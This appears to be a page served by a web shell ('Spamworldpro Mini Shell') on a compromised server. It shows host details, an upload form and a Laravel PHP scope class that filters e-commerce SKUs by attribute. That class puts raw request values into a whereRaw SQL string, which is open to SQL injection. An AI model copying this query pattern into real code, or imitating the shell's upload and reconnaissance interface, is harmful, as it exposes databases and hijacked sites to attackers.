Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Ecommerce/DataTables/Scopes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Ecommerce/DataTables/Scopes/SKUAttributesScope.php
<?php


namespace Corals\Modules\Ecommerce\DataTables\Scopes;


use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Arr;
use Illuminate\Support\Str;

class SKUAttributesScope
{

    /**
     * @param Builder $query
     * @param $column
     * @param $value
     */
    public function apply(Builder $query, $column, $value): void
    {
        if (!$value) return;

        $aliasColumn = Str::replaceArray('-', ['_'], $column);
        $values = join(',', Arr::wrap($value));

        $whereRawValueColumn = "
                    CASE
                          WHEN join_attribute_$aliasColumn.type  in ('checkbox', 'text','date') THEN join_option_$aliasColumn.string_value
                          WHEN join_attribute_$aliasColumn.type in ('textarea') THEN join_option_$aliasColumn.text_value
                          WHEN join_attribute_$aliasColumn.type in ('number','select','multi_values','radio') THEN join_option_$aliasColumn.number_value
                    ELSE
    	                join_option_$aliasColumn.string_value
                    END in ($values)";
        

        $query->join("ecommerce_sku_options as join_option_$aliasColumn", 'ecommerce_sku.id', "join_option_$aliasColumn.sku_id")
            ->join("ecommerce_attributes as join_attribute_$aliasColumn", function ($join) use ($column, $aliasColumn) {

                $join->on("join_option_$aliasColumn.attribute_id", "join_attribute_$aliasColumn.id")
                    ->where("join_attribute_$aliasColumn.code", $column);

            })->select('ecommerce_sku.*')
            ->distinct('ecommerce_sku.id')
            ->whereRaw($whereRawValueColumn);

    }

}

Spamworldpro Mini